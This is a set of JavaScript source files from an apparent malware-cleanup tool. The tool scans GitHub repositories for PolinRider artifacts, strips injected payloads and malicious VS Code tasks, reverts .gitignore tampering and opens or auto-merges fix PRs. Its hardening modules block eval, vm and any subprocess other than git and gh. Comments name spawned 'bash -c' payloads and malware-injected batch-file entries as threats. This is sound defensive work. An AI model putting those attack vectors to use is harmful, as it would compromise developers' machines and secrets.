remSpinner.succeed(" " + chalk.magenta(DRY_RUN ? "Planned remediation (dry run)" : "Remediated"));
indent(resultLines(result));
if (DRY_RUN) continue;
if (!result.changed) {
results.manualOnly++;
results.errors.push({ repo: fullName, reason: "infected but only manual-review items — no automated fix" });
continue;
}
results.remediated++;
const prSpinner = ora(" Creating PR...").start();
const pr = await openPR(repoDir, fullName, findings, result);
if (pr.skipped) {
prSpinner.warn(` Skipped PR: ${pr.reason}`);
} else {
record.pr = { url: pr.url, merged: pr.merged, mergeError: pr.mergeError };
results.prOpened++;
results.prs.push({ repo: fullName, url: pr.url, merged: pr.merged });
if (pr.merged) {
results.merged++;
prSpinner.succeed(" " + chalk.green.bold(`PR merged: ${pr.url}`));
} else if (pr.mergeError) {
prSpinner.warn(" " + chalk.yellow(`PR opened — auto-merge blocked (${pr.mergeError}); merge manually: ${pr.url}`));
} else {
prSpinner.succeed(" " + chalk.blue.bold(`PR opened: ${pr.url}`));
}
}
} catch (err) {
console.log(" " + chalk.red("✖ ") + chalk.bold(repoName) + " " + err.message);
record.error = err.message;
results.errors.push({ repo: fullName, reason: err.message });
} finally {
if (repoDir) await fs.rm(repoDir, { recursive: true, force: true }).catch(() => {});
results.repos.push(record);
await writeReports(results); // rewrite after every repo → live, crash-resilient trace
}
}
await writeReports(results);
printSummary(results);
process.exit(results.infected > 0 && results.remediated < results.infected && !DRY_RUN ? 1 : 0);
}
// Persist the run report (JSON + Markdown) to REPORTS_DIR. Rewritten after every
// repo so a trace survives even if the run is interrupted. Never fails the run.
async function writeReports(results) {
if (!REPORTS_DIR || !reportBase) return;
const run = {
scannedAt: reportStamp.toISOString(),
scannedAtHuman: reportStamp.toString(),
account: { kind: ACCOUNT.kind, owner: ACCOUNT.owner },
dryRun: DRY_RUN,
autoMerge: AUTO_MERGE,
mergeMethod: MERGE_METHOD,
totals: {
total: results.total, clean: results.clean, infected: results.infected,
remediated: results.remediated, merged: results.merged, prOpened: results.prOpened,
manualOnly: results.manualOnly, errors: results.errors.length,
},
repos: results.repos,
};
try {
await fs.mkdir(REPORTS_DIR, { recursive: true });
const json = JSON.stringify(buildRunJson(run), null, 2);
const md = buildRunMarkdown(run);
await fs.writeFile(`${reportBase}.json`, json);
await fs.writeFile(`${reportBase}.md`, md);
await fs.writeFile(path.join(REPORTS_DIR, "latest.json"), json);
await fs.writeFile(path.join(REPORTS_DIR, "latest.md"), md);
} catch (e) {
if (!reportWarned) {
reportWarned = true;
console.log(chalk.yellow(` ⚠ could not write reports to ${REPORTS_DIR}: ${e.message}`));
}
}
}
function printSummary(results) {
console.log("\n" + chalk.bold.cyan("══════════════════════════════════════"));
console.log(chalk.bold(" SUMMARY"));
console.log(chalk.bold.cyan("══════════════════════════════════════"));
console.log(` ${chalk.bold("Repos scanned:")} ${results.total}`);
console.log(` ${chalk.green.bold("Clean:")} ${results.clean}`);
console.log(` ${chalk.red.bold("Infected:")} ${results.infected}`);
console.log(` ${chalk.magenta.bold("Remediated:")} ${results.remediated}`);
console.log(` ${chalk.blue.bold("PRs opened:")} ${results.prOpened}`);
if (AUTO_MERGE) console.log(` ${chalk.green.bold("PRs merged:")} ${results.merged}`);
if (results.manualOnly) console.log(` ${chalk.yellow.bold("Manual review:")} ${results.manualOnly}`);
if (results.prs.length) {
console.log("\n" + chalk.bold(" Pull Requests:"));
for (const { repo, url, merged } of results.prs) {
const mark = merged ? chalk.green("✔ merged") : chalk.blue("⎇ open");
console.log(` ${mark} ${chalk.bold(repo)}\n ${url}`);
}
}
if (results.errors.length) {
console.log("\n" + chalk.yellow.bold(" Errors / needs manual review:"));
for (const { repo, reason } of results.errors) console.log(` ${chalk.yellow("⚠")} ${chalk.bold(repo)}: ${reason}`);
}
if (REPORTS_DIR && reportBase) {
console.log("\n " + chalk.gray(`Report written: ${reportBase}.md (and latest.md / .json in ${REPORTS_DIR}/)`));
}
console.log(chalk.bold.cyan("══════════════════════════════════════\n"));
}
// Auto-run only when executed directly (`node src/index.js`). When imported —
// by the launcher or a test — call main() explicitly instead. This keeps import
// side-effect-free (no env reads, no process.exit) so the module is testable.
const invokedDirectly =
process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url);
if (invokedDirectly) {
main().catch((err) => {
console.error(chalk.red("\nFatal error:"), err.message);
process.exit(2);
});
}
+231
View File
@@ -0,0 +1,231 @@
/**
* Tolerant JSONC parser for VS Code config files (which legitimately contain
* // and /* *\/ comments and trailing commas), plus an offset-based array
* splicer used for surgical removal of malicious task/launch entries.
*
* SAFETY: this parser is hand-written and uses ONLY string scanning + the
* built-in JSON.parse (on isolated string literals). It NEVER uses eval, the
* Function constructor, or node:vm. Parsing an attacker-controlled .vscode file
* therefore cannot execute anything.
*
* The AST records source offsets so the remediator can remove only the
* malicious entries and leave the surrounding bytes (and other entries) intact.
*/
/**
* @typedef {Object} Node
* @property {'object'|'array'|'string'|'number'|'boolean'|'null'} type
* @property {*} value Decoded JS value of this node.
* @property {number} start Offset of the first character (inclusive).
* @property {number} end Offset just past the last character (exclusive).
* @property {Array} [elements] For arrays: child value Nodes, in order.
* @property {Array} [members] For objects: { key, keyNode, valueNode } entries.
*/
/**
* Parse JSONC text.
* @returns {{ ok: boolean, value: *, ast: Node|null, error: Error|null }}
*/
export function parseJsonc(text) {
let i = 0;
const n = text.length;
const fail = (msg) => {
const e = new Error(`JSONC parse error at offset ${i}: ${msg}`);
e.offset = i;
return e;
};
function skipWs() {
while (i < n) {
const c = text[i];
if (c === " " || c === "\t" || c === "\n" || c === "\r" || c === "") {
i++;
continue;
}
if (c === "/" && text[i + 1] === "/") {
i += 2;
while (i < n && text[i] !== "\n") i++;
continue;
}
if (c === "/" && text[i + 1] === "*") {
i += 2;
while (i < n && !(text[i] === "*" && text[i + 1] === "/")) i++;
i += 2;
continue;
}
break;
}
}
function parseString() {
const start = i;
if (text[i] !== '"') throw fail("expected string");
i++;
while (i < n) {
const c = text[i];
if (c === "\\") {
i += 2;
continue;
}
if (c === '"') {
i++;
break;
}
i++;
}
const raw = text.slice(start, i);
let value;
try {
value = JSON.parse(raw); // decode escapes safely; no code execution
} catch {
throw fail("invalid string literal");
}
return { type: "string", value, start, end: i };
}
function parseNumber() {
const start = i;
const m = /^-?(?:0|[1-9]\d*)(?:\.\d+)?(?:[eE][+-]?\d+)?/.exec(text.slice(i));
if (!m) throw fail("invalid number");
i += m[0].length;
return { type: "number", value: Number(m[0]), start, end: i };
}
function parseObject() {
const start = i;
i++; // {
const members = [];
const value = {};
skipWs();
while (text[i] !== "}") {
if (i >= n) throw fail("unterminated object");
const keyNode = parseString();
skipWs();
if (text[i] !== ":") throw fail("expected ':'");
i++;
const valueNode = parseValue();
members.push({ key: keyNode.value, keyNode, valueNode });
value[keyNode.value] = valueNode.value;
skipWs();
if (text[i] === ",") {
i++;
skipWs();
} else break;
}
if (text[i] !== "}") throw fail("expected '}'");
i++;
return { type: "object", members, value, start, end: i };
}
function parseArray() {
const start = i;
i++; // [
const elements = [];
const value = [];
skipWs();
while (text[i] !== "]") {
if (i >= n) throw fail("unterminated array");
const el = parseValue();
elements.push(el);
value.push(el.value);
skipWs();
if (text[i] === ",") {
i++;
skipWs();
} else break;
}
if (text[i] !== "]") throw fail("expected ']'");
i++;
return { type: "array", elements, value, start, end: i };
}
function parseValue() {
skipWs();
if (i >= n) throw fail("unexpected end of input");
const c = text[i];
if (c === "{") return parseObject();
if (c === "[") return parseArray();
if (c === '"') return parseString();
if (c === "-" || (c >= "0" && c <= "9")) return parseNumber();
if (text.startsWith("true", i)) {
const s = i;
i += 4;
return { type: "boolean", value: true, start: s, end: i };
}
if (text.startsWith("false", i)) {
const s = i;
i += 5;
return { type: "boolean", value: false, start: s, end: i };
}
if (text.startsWith("null", i)) {
const s = i;
i += 4;
return { type: "null", value: null, start: s, end: i };
}
throw fail(`unexpected character ${JSON.stringify(c)}`);
}
try {
skipWs();
const ast = parseValue();
skipWs();
if (i < n) throw fail("trailing content after top-level value");
return { ok: true, value: ast.value, ast, error: null };
} catch (error) {
return { ok: false, value: undefined, ast: null, error };
}
}
/**
* Return the member's value Node for `key` on an object Node, or undefined.
*/
export function getMember(objectNode, key) {
if (!objectNode || objectNode.type !== "object") return undefined;
const m = objectNode.members.find((mem) => mem.key === key);
return m ? m.valueNode : undefined;
}
/**
* Remove the array elements at `indicesToRemove` from `text`, given the array's
* AST Node. Removes each element together with one adjacent separator (the
* comma + surrounding whitespace) by deleting the span up to the next element's
* start — so the result stays valid JSON and the surviving elements keep their
* exact source bytes. Overlapping spans (e.g. removing adjacent elements) are
* merged before applying.
*
* @returns {string} the edited text
*/
export function removeArrayElements(text, arrayNode, indicesToRemove) {
if (!arrayNode || arrayNode.type !== "array") {
throw new Error("removeArrayElements: arrayNode must be an array Node");
}
const remove = new Set(indicesToRemove);
const els = arrayNode.elements;
const spans = [];
for (let k = 0; k < els.length; k++) {
if (!remove.has(k)) continue;
if (k < els.length - 1) {
spans.push([els[k].start, els[k + 1].start]); // element + trailing comma/ws
} else if (k > 0) {
spans.push([els[k - 1].end, els[k].end]); // leading comma/ws + last element
} else {
spans.push([els[k].start, els[k].end]); // sole element
}
}
if (spans.length === 0) return text;
// Merge overlapping/adjacent spans, then delete from the end backward so
// earlier offsets stay valid.
spans.sort((a, b) => a[0] - b[0]);
const merged = [spans[0].slice()];
for (let s = 1; s < spans.length; s++) {
const last = merged[merged.length - 1];
if (spans[s][0] <= last[1]) last[1] = Math.max(last[1], spans[s][1]);
else merged.push(spans[s].slice());
}
merged.sort((a, b) => b[0] - a[0]);
let out = text;
for (const [start, end] of merged) out = out.slice(0, start) + out.slice(end);
return out;
}
+216
View File
@@ -0,0 +1,216 @@
/**
* Surgical remediation. Consumes a Findings report and removes ONLY what is
* confirmed malicious, preserving legitimate code, tasks, launch configs, and
* fonts. Every edit is re-verified against the current file content at apply
* time, so a stale finding can never truncate the wrong bytes.
*
* dryRun=true records what WOULD change without touching any file.
*
* @typedef {Object} RemediationResult
* @property {boolean} changed true iff files were actually modified/deleted
* @property {boolean} dryRun
* @property {Array} applied findings (or hygiene steps) that were acted on
* @property {Array<{finding:Object, reason:string}>} skipped
* @property {string[]} filesModified
* @property {string[]} filesDeleted
* @property {string[]} notes hygiene actions (gitignore, env untracking)
*/
import fs from "node:fs/promises";
import { existsSync } from "node:fs";
import path from "node:path";
import * as sig from "./signatures.js";
import { locatePayloadOffset } from "./scanner.js";
import { safeGit } from "./safe-exec.js";
/**
* @param {string} repoDir
* @param {import('./scanner.js').Findings} findings
* @param {{ dryRun?: boolean, git?: Function }} [opts]
* @returns {Promise<RemediationResult>}
*/
export async function remediate(repoDir, findings, opts = {}) {
const { dryRun = false, git = safeGit } = opts;
const result = {
changed: false,
dryRun,
applied: [],
skipped: [],
filesModified: [],
filesDeleted: [],
notes: [],
};
for (const f of findings.findings) {
switch (f.action) {
case "strip-js-payload":
await stripJsPayload(repoDir, f, result, dryRun);
break;
case "remove-dir":
await deleteDir(f, result, dryRun);
break;
case "delete-font":
case "remove-artifact":
await deleteFile(f, result, dryRun);
break;
case "remove-font-set":
await deleteFileSet(f, result, dryRun);
break;
case "fix-gitignore":
// handled by the always-on gitignore hygiene step below
break;
case "manual-review":
result.skipped.push({ finding: f, reason: "manual review required — not auto-removed" });
break;
default:
result.skipped.push({ finding: f, reason: `unknown action "${f.action}"` });
}
}
// Hygiene (idempotent): undo the malware's .gitignore tampering and unexpose
// any committed secrets. Mirrors the original remediate.sh behavior.
await hardenGitignore(repoDir, result, dryRun);
await untrackEnvFiles(repoDir, result, dryRun, git);
result.changed =
!dryRun && (result.filesModified.length > 0 || result.filesDeleted.length > 0);
return result;
}
function recordModified(result, file) {
if (!result.filesModified.includes(file)) result.filesModified.push(file);
}
function recordDeleted(result, file) {
if (!result.filesDeleted.includes(file)) result.filesDeleted.push(file);
}
// ─── strip-js-payload ────────────────────────────────────────────────────────────
async function stripJsPayload(repoDir, f, result, dryRun) {
const absPath = f.edit?.absPath ?? path.join(repoDir, f.file);
let text;
try {
text = await fs.readFile(absPath, "utf8");
} catch {
result.skipped.push({ finding: f, reason: "file unreadable" });
return;
}
// Re-locate against current content rather than trusting the stored offset.
const variant = sig.JS_VARIANTS.find((v) => v.id === f.edit?.variantId);
const offset = variant ? locatePayloadOffset(text, variant) : f.edit?.offset ?? -1;
if (!(offset > 0) || offset > text.length) {
result.skipped.push({ finding: f, reason: "could not locate payload start safely" });
return;
}
const kept = text.slice(0, offset).replace(/\s+$/, "");
if (kept.length === 0) {
result.skipped.push({ finding: f, reason: "stripping would empty the file" });
return;
}
if (!dryRun) await fs.writeFile(absPath, kept + "\n", "utf8");
result.applied.push(f);
recordModified(result, f.file);
}
// ─── remove-dir (whole .vscode / fonts directory) ───────────────────────────────
async function deleteDir(f, result, dryRun) {
const absPath = f.edit?.absPath;
if (!absPath || !existsSync(absPath)) {
result.skipped.push({ finding: f, reason: "already gone" });
return;
}
if (!dryRun) await fs.rm(absPath, { recursive: true, force: true });
result.applied.push(f);
recordDeleted(result, f.file);
}
// ─── delete-font / remove-artifact ───────────────────────────────────────────────
async function deleteFile(f, result, dryRun) {
const absPath = f.edit?.absPath;
if (!absPath || !existsSync(absPath)) {
result.skipped.push({ finding: f, reason: "already gone" });
return;
}
if (!dryRun) await fs.rm(absPath, { force: true });
result.applied.push(f);
recordDeleted(result, f.file);
}
// ─── remove-font-set (carrier + its fa-* disguise siblings + README) ─────────────
//
// Removes a specific set of files inside a fonts/ dir while preserving the clean
// fonts that share it. Each path is deleted individually and recorded by its
// repo-relative name.
async function deleteFileSet(f, result, dryRun) {
const removals = Array.isArray(f.edit?.removals) ? f.edit.removals : [];
let any = false;
for (const { abs, rel } of removals) {
if (!abs || !existsSync(abs)) continue;
if (!dryRun) await fs.rm(abs, { force: true });
recordDeleted(result, rel);
any = true;
}
if (any) result.applied.push(f);
else result.skipped.push({ finding: f, reason: "already gone" });
}
// ─── .gitignore hygiene ──────────────────────────────────────────────────────────
async function hardenGitignore(repoDir, result, dryRun) {
const file = path.join(repoDir, ".gitignore");
let content = "";
try {
content = await fs.readFile(file, "utf8");
} catch {
content = "";
}
let lines = content.length ? content.split(/\r?\n/) : [];
const original = lines.join("\n");
// 1. Remove every malware-injected line (config.bat, temp_*.bat, branch_structure.json).
lines = lines.filter((l) => !sig.GITIGNORE_INJECTED.includes(l.trim()));
// 2. Ensure standard .env patterns are ignored (malware removes them to expose secrets).
const present = new Set(lines.map((l) => l.trim()));
for (const pat of sig.ENV_PATTERNS) {
if (!present.has(pat)) {
lines.push(pat);
present.add(pat);
}
}
const next = lines.join("\n");
if (next === original) return; // nothing to change
if (!dryRun) {
await fs.writeFile(file, next.endsWith("\n") ? next : next + "\n", "utf8");
}
recordModified(result, ".gitignore");
result.notes.push(
`${dryRun ? "would remove" : "removed"} malware-injected entries from .gitignore and ensure${
dryRun ? "" : "d"
} .env patterns are ignored`,
);
}
// ─── committed .env untracking ─────────────────────────────────────────────────────
async function untrackEnvFiles(repoDir, result, dryRun, git) {
if (!existsSync(path.join(repoDir, ".git"))) return;
const literals = sig.ENV_PATTERNS.filter((p) => !p.includes("*"));
for (const pat of literals) {
if (!existsSync(path.join(repoDir, pat))) continue;
const tracked = await git(["-C", repoDir, "ls-files", "--error-unmatch", pat]);
if (tracked.exitCode !== 0) continue; // not committed → nothing to untrack
if (dryRun) {
result.notes.push(`would untrack ${pat} from the git index`);
continue;
}
const rm = await git(["-C", repoDir, "rm", "--cached", "--force", pat]);
if (rm.exitCode === 0) {
result.notes.push(`untracked ${pat} from the git index`);
recordModified(result, pat);
}
}
}
+172
View File
@@ -0,0 +1,172 @@
/**
* Rendering helpers: turn a Findings report + RemediationResult into console
* lines and a Markdown PR body. Pure string building — no I/O, no styling
* dependency (the orchestrator applies colors).
*/
const PR_TITLE = "security: remove PolinRider malware artifacts";
/** Plain lines describing what the scanner found (for console output). */
export function findingLines(findings) {
return findings.findings.map((f) => {
const tag = f.contentConfirmed ? "[confirmed]" : "[review]";
return `${tag} ${f.file}: ${f.description}`;
});
}
/** Plain lines describing what remediation did (or would do). */
export function resultLines(result) {
const verb = result.dryRun ? "would " : "";
const lines = [];
for (const f of result.applied) {
lines.push(`${verb}fixed ${f.file}: ${f.description ?? f.action}`);
}
for (const n of result.notes) lines.push(n);
for (const s of result.skipped) {
lines.push(`skipped ${s.finding.file}: ${s.reason}`);
}
return lines;
}
/**
* Build a Markdown PR body that lists exactly what changed, plus a manual-review
* section. Replaces the old static PR_BODY so reviewers see a precise diff.
*/
export function buildPrBody({ findings, result }) {
const out = [];
out.push("## PolinRider malware cleanup");
out.push("");
out.push(
"Automatically generated by polinrider-remover. Every change below was confirmed by a known PolinRider signature. The scanner reads files as inert text and never executes them.",
);
out.push("");
const REMOVAL_ACTIONS = new Set(["remove-dir", "remove-font-set", "delete-font", "remove-artifact"]);
const fixed = [];
for (const f of result.applied) {
const what = REMOVAL_ACTIONS.has(f.action) || result.filesDeleted.includes(f.file) ? "removed" : "cleaned";
fixed.push(`- \`${f.file}\`: ${what} — ${f.description ?? f.action}`);
}
for (const n of result.notes) fixed.push(`- ${n}`);
if (fixed.length) {
out.push("### Removed / fixed");
out.push(...fixed);
out.push("");
}
const review = [
...findings.manualReview.map((m) => `- ${m}`),
...result.skipped.map((s) => `- \`${s.finding.file}\`: ${s.reason}`),
];
if (review.length) {
out.push("### Needs manual review");
out.push(...review);
out.push("");
}
out.push(
"> ⚠️ Also check the affected developer's machine for the initial dropper (a malicious npm global package or VS Code extension), and rotate any secrets that may have been exposed via committed `.env` files.",
);
out.push("");
return out.join("\n");
}
export { PR_TITLE };
// ─── Whole-run report (persisted to the reports volume) ─────────────────────────
//
// A `run` object is assembled by the orchestrator:
// { scannedAt, scannedAtHuman, account:{kind,owner}, dryRun, autoMerge, mergeMethod,
// totals:{total,clean,infected,remediated,merged,prOpened,manualOnly,errors},
// repos:[ { repo, severity, findings:[{file,action,confidence,contentConfirmed,description}],
// deleted:[], modified:[], notes:[], manualReview:[],
// pr:{url,merged,mergeError}|null, error:string|null } ] }
/** Machine-readable run report. */
export function buildRunJson(run) {
return { schema: "polinrider-run/1", ...run };
}
function repoChangeSummary(r) {
const parts = [];
if (r.deleted?.length) parts.push(`removed: ${r.deleted.join(", ")}`);
if (r.modified?.length) parts.push(`cleaned: ${r.modified.join(", ")}`);
for (const n of r.notes ?? []) parts.push(n);
return parts.join(" · ") || "—";
}
/** Human-readable Markdown run report (clickable PR links + per-repo trace). */
export function buildRunMarkdown(run) {
const t = run.totals;
const out = [];
out.push("# PolinRider Malware Scan — Remediation Report");
out.push("");
out.push(`**Last scanned:** ${run.scannedAtHuman ?? run.scannedAt}`);
out.push(`**Account:** ${run.account.kind} \`${run.account.owner}\``);
const modes = [];
if (run.dryRun) modes.push("DRY RUN — no changes written");
modes.push(run.autoMerge ? `auto-merge: on (${run.mergeMethod})` : "auto-merge: off");
out.push(`**Mode:** ${modes.join(" · ")}`);
out.push("");
out.push("## Summary");
out.push("");
out.push("| Metric | Count |");
out.push("| --- | ---: |");
out.push(`| Repos scanned | ${t.total} |`);
out.push(`| Clean | ${t.clean} |`);
out.push(`| Infected | ${t.infected} |`);
out.push(`| Remediated | ${t.remediated} |`);
out.push(`| PRs opened | ${t.prOpened} |`);
if (run.autoMerge) out.push(`| PRs merged | ${t.merged} |`);
out.push(`| Needs manual review | ${t.manualOnly} |`);
out.push(`| Errors | ${t.errors} |`);
out.push("");
const withPr = run.repos.filter((r) => r.pr && r.pr.url);
if (withPr.length) {
out.push(`## Pull requests (${withPr.length})`);
out.push("");
out.push("Review and merge the PR for the project(s) you work on.");
out.push("");
out.push("| Repository | Pull request | Status | Changes |");
out.push("| --- | --- | --- | --- |");
for (const r of withPr) {
const name = r.repo.split("/")[1] ?? r.repo;
const num = r.pr.url.split("/pull/")[1] ?? "PR";
const status = r.pr.merged ? "✅ merged" : r.pr.mergeError ? "⚠️ merge blocked" : "open";
out.push(
`| [${name}](https://github.com/${r.repo}) | [#${num}](${r.pr.url}) | ${status} | ${repoChangeSummary(r)} |`,
);
}
out.push("");
}
const attention = run.repos.filter(
(r) =>
r.error ||
(r.pr && r.pr.mergeError) ||
(r.manualReview && r.manualReview.length) ||
(r.severity === "infected" && !(r.pr && r.pr.url) && !run.dryRun),
);
if (attention.length) {
out.push("## Needs attention");
out.push("");
for (const r of attention) {
const bits = [];
if (r.error) bits.push(`error: ${r.error}`);
if (r.pr && r.pr.mergeError) bits.push(`auto-merge blocked: ${r.pr.mergeError}`);
if (r.manualReview?.length) bits.push(`manual review: ${r.manualReview.join("; ")}`);
if (r.severity === "infected" && !(r.pr && r.pr.url) && !run.dryRun && !r.error)
bits.push("infected but no automated fix applied");
out.push(`- **${r.repo}** — ${bits.join(" · ").replace(/\s+/g, " ").trim()}`);
}
out.push("");
}
out.push("---");
out.push(`_Generated by polinrider-remover at ${run.scannedAt}._`);
out.push("");
return out.join("\n");
}
+151
View File
@@ -0,0 +1,151 @@
/**
* Subprocess allowlist — the single choke point for every external process.
*
* The V8 flag (--disallow-code-generation-from-strings) cannot stop a spawned
* `node -e "<payload>"` or `bash -c "<payload>"`; this wrapper can, and does, by
* permitting ONLY `git` and `gh` with an allowlisted set of subcommands. Every
* subprocess in the tool MUST go through here — never call execa/spawn directly.
*
* It also hardens git itself: hooks disabled, system/global config ignored,
* non-interactive, and `--no-verify` on commit/push — so a repo can never get
* code to run via a git hook during clone/commit/push.
*/
import { execa } from "execa";
import os from "node:os";
// command → set of allowed first subcommands.
const ALLOWED = new Map([
[
"git",
new Set([
"clone",
"config",
"checkout",
"add",
"diff",
"commit",
"push",
"rm",
"reflog",
"rev-parse",
"status",
"ls-files",
]),
],
["gh", new Set(["api", "pr"])],
]);
// git global options that consume the FOLLOWING token as their value.
const GIT_VALUE_OPTS = new Set([
"-C",
"-c",
"--git-dir",
"--work-tree",
"--namespace",
"--exec-path",
]);
// Disable hooks on every git call. os.devNull is not a hooks directory, so git
// finds no hooks and runs none. Cross-platform (/dev/null | \\.\nul).
const HOOK_GUARD = ["-c", `core.hooksPath=${os.devNull}`];
export class CommandNotAllowedError extends Error {
constructor(message) {
super(message);
this.name = "CommandNotAllowedError";
}
}
/** Return the first non-option token (the subcommand), skipping value-options. */
function firstSubcommand(args, valueOpts) {
for (let i = 0; i < args.length; i++) {
const a = args[i];
if (typeof a !== "string") continue;
if (!a.startsWith("-")) return a;
if (a.includes("=")) continue; // --opt=value is a single token
if (valueOpts && valueOpts.has(a)) i++; // option consumes the next token
}
return undefined;
}
/**
* Validate a command + args against the allowlist. Throws CommandNotAllowedError
* synchronously on any violation. Exported so callers/tests can pre-validate.
*/
export function assertAllowed(cmd, args = []) {
if (typeof cmd !== "string" || cmd.length === 0) {
throw new CommandNotAllowedError("command must be a non-empty string");
}
if (cmd.includes("/") || cmd.includes("\\")) {
throw new CommandNotAllowedError(
`refusing path-bearing command "${cmd}" — only the bare names "git"/"gh" are allowed`,
);
}
if (!ALLOWED.has(cmd)) {
throw new CommandNotAllowedError(
`command "${cmd}" is not on the allowlist (allowed: git, gh)`,
);
}
const sub = firstSubcommand(args, cmd === "git" ? GIT_VALUE_OPTS : null);
if (!sub || !ALLOWED.get(cmd).has(sub)) {
throw new CommandNotAllowedError(
`subcommand "${sub ?? "(none)"}" is not allowed for "${cmd}"`,
);
}
return { cmd, sub };
}
/**
* Run an allowlisted command. Not declared `async` so allowlist violations throw
* synchronously (before any process is spawned); on success it returns execa's
* promise. Defaults to reject:false so callers inspect `exitCode` themselves.
*/
export function safeExec(cmd, args = [], opts = {}) {
assertAllowed(cmd, args);
return execa(cmd, args, { reject: false, shell: false, ...opts });
}
function gitEnv(extra) {
return {
...extra,
GIT_CONFIG_NOSYSTEM: "1", // ignore /etc/gitconfig
GIT_CONFIG_GLOBAL: os.devNull, // ignore ~/.gitconfig (no hijacked hooksPath)
GIT_TERMINAL_PROMPT: "0", // never block on an interactive credential prompt
};
}
/**
* Build the final git argv: prepend hook-disabling config and append
* `--no-verify` to commit/push. Pure — exported for testing.
*/
export function buildGitArgs(args = []) {
const finalArgs = [...HOOK_GUARD, ...args];
const sub = firstSubcommand(finalArgs, GIT_VALUE_OPTS);
if ((sub === "commit" || sub === "push") && !finalArgs.includes("--no-verify")) {
finalArgs.push("--no-verify");
}
return finalArgs;
}
/**
* Run git with hooks disabled and config sanitized. The GH token is
* intentionally NOT placed in git's environment — clone/push carry auth in the
* tokenized URL instead.
*/
export function safeGit(args = [], opts = {}) {
return safeExec("git", buildGitArgs(args), { ...opts, env: gitEnv(opts.env) });
}
/**
* Run gh with the GitHub token scoped to THIS process only (not leaked to git or
* any other child). Token defaults to GH_TOKEN but can be injected for testing.
*/
export function safeGh(args = [], opts = {}, token = process.env.GH_TOKEN) {
const env = { ...opts.env };
if (token) {
env.GH_TOKEN = token;
env.GITHUB_TOKEN = token;
}
return safeExec("gh", args, { ...opts, env });
}
+142
View File
@@ -0,0 +1,142 @@
/**
* Runtime safety guards — defense-in-depth so the PolinRider payload can never
* execute, even if it somehow reaches a code path.
*
* This module installs its guards as an IMPORT SIDE EFFECT and MUST be the very
* first import of the entry point (`src/index.js`). Because ESM hoists imports,
* "first import line" is sufficient — the guards run before any other module's
* top-level code.
*
* Layering (see the project plan):
* • Layer 2 (the V8 flag `--disallow-code-generation-from-strings`, applied by
* bin/polinrider.js) is the AUTHORITATIVE block for eval / Function. It is
* verified to make eval(), new Function(), and the Async/Generator function
* constructors throw EvalError.
* • This module is the Layer-3 FALLBACK for when the process is launched
* WITHOUT that flag (e.g. `node src/index.js`, or an `import` from a test
* runner that wasn't started with the flag). It neutralizes the same escape
* hatches in-process, plus `node:vm` and `process.binding`, which the flag
* does NOT cover.
*
* The real protection is the architectural invariant: target file content is
* only ever read as an inert string/Buffer and pattern-matched — never passed
* to require/import/eval/Function/vm/child_process. These guards exist so a
* mistake can't become an execution.
*/
import Module from "node:module";
const ERR = "PolinRider safety:";
function makeBlocked(what) {
return function blocked() {
throw new EvalError(`${ERR} dynamic code generation via ${what} is disabled`);
};
}
function lockGlobal(name, value) {
try {
Object.defineProperty(globalThis, name, {
value,
configurable: false,
writable: false,
enumerable: false,
});
return true;
} catch {
return false;
}
}
// ─── 1. Block eval() (direct and indirect) ─────────────────────────────────────
// Replacing globalThis.eval blocks both `eval(x)` and `(0, eval)(x)`, since both
// resolve the global binding at call time.
lockGlobal("eval", makeBlocked("eval"));
// ─── 2. Block the Function constructor family ──────────────────────────────────
// Preserve Function.prototype so `instanceof`, `.bind`, `.call`, etc. keep
// working; only the string→code construction paths are neutralized.
const RealFunction = Function;
const BlockedFunction = makeBlocked("Function");
try {
Object.defineProperty(BlockedFunction, "prototype", {
value: RealFunction.prototype,
writable: false,
});
} catch {
/* prototype already non-configurable on some engines — fine */
}
lockGlobal("Function", BlockedFunction);
// Close the `(function(){}).constructor("code")` escape, plus the async /
// generator equivalents, by pointing each prototype's `.constructor` at the
// blocked stub. Wrapped per-item so one failure can't abort the rest.
function blockConstructorOf(sample) {
try {
const proto = Object.getPrototypeOf(sample);
Object.defineProperty(proto, "constructor", {
value: BlockedFunction,
configurable: true,
writable: true,
});
} catch {
/* ignore */
}
}
blockConstructorOf(function () {});
blockConstructorOf(async function () {});
blockConstructorOf(function* () {});
blockConstructorOf(async function* () {});
// ─── 3. Block the node:vm module ───────────────────────────────────────────────
// The V8 flag does NOT cover vm.runInNewContext / runInThisContext /
// compileFunction (verified). Reaching vm requires attacker code to already be
// executing — which the allowlist + eval block prevent — but we close the most
// likely path (a malicious CommonJS dependency calling require('vm')).
const originalLoad = Module._load;
Module._load = function patchedLoad(request, ...rest) {
if (request === "vm" || request === "node:vm") {
throw new Error(`${ERR} the node:vm module is blocked`);
}
return originalLoad.call(this, request, ...rest);
};
// NOTE: dynamic ESM `import('node:vm')` is not interceptable in-process without a
// loader hook (cross-version-fragile on Node 20.0–20.5). Documented residual —
// it is unreachable without already-executing attacker ESM, which the other
// layers prevent.
// ─── 4. Neutralize the legacy process.binding escape hatch ──────────────────────
const blockBinding = function blockedBinding() {
throw new Error(`${ERR} process.binding is blocked`);
};
for (const key of ["binding", "_linkedBinding"]) {
try {
Object.defineProperty(process, key, {
value: blockBinding,
configurable: false,
writable: false,
});
} catch {
/* ignore */
}
}
/**
* Diagnostic helper (used by tests and the orchestrator banner). Returns a
* snapshot of which guards are active and whether the V8 codegen flag is on.
*/
export function hardeningStatus() {
let evalBlocked = false;
try {
// eslint-disable-next-line no-eval
globalThis.eval("1+1");
} catch {
evalBlocked = true;
}
return {
evalBlocked,
codegenFlag: process.execArgv.includes("--disallow-code-generation-from-strings") ||
(process.env.NODE_OPTIONS || "").includes("--disallow-code-generation-from-strings"),
hardenedLaunch: process.env.POLINRIDER_HARDENED === "1",
};
}
+93
View File
@@ -0,0 +1,93 @@
/**
* Build a minimal SARIF 2.1.0 report from a Findings object so consumers can
* upload results to GitHub code scanning (github/codeql-action/upload-sarif) and
* see them in the Security tab / inline on the PR.
*
* Pure with respect to the repo: it only reads files to convert a js-payload's
* char offset into a 1-based line. Every other finding is file-level (startLine 1).
*/
import fs from "node:fs";
import path from "node:path";
const PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup";
const levelOf = (f) => (f.contentConfirmed ? "error" : "warning");
/** 1-based start line for findings that carry a char offset, else 1. */
function lineFor(repoDir, f) {
const offset = f.edit?.offset;
if (!(offset > 0) || !repoDir) return 1;
try {
const text = fs.readFileSync(path.join(repoDir, f.file), "utf8");
if (offset > text.length) return 1;
return text.slice(0, offset).split("\n").length;
} catch {
return 1;
}
}
